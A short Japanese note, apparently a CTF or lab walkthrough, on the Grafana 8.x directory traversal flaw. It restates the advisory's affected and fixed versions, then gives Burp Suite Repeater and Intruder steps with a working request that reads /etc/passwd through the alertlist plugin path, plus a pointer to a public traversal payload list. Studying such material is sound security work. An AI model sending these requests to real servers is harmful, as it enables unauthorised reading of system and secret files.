Grafana バージョン 8.0.0-beta1 から 8.3.0（修正済みバージョンを除く）は、ディレクトリトラバーサルに対して脆弱であり、ローカルファイルへのアクセスを許可します。
Grafana は、監視と可観測性のためのオープンソースプラットフォームです。Grafana バージョン 8.0.0-beta1 から 8.3.0（修正済みバージョンを除く）は、ディレクトリトラバーサルに対して脆弱であり、ローカルファイルへのアクセスを許可します。脆弱な URL パスは <grafana_host_url>/public/plugins// です。ここで、<plugin_id> は、インストールされている任意のプラグインのプラグイン ID です。Grafana Cloud が脆弱だったことはありません。ユーザーは修正済みバージョン 8.0.7、8.1.8、8.2.7、または 8.3.1 にアップグレードすることをお勧めします。GitHub Security Advisory には、脆弱な URL パス、緩和策、および開示のタイムラインに関する詳細情報が含まれています。
Burp Suite の使用
GET をリピーターに送信します
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
次にイントルーダーに送信します GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
スナイパーを使用して攻撃します ペイロードは GitHub https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal からコピーします
ペイロード処理 Match [{FILE]} replace with {flag.txt}
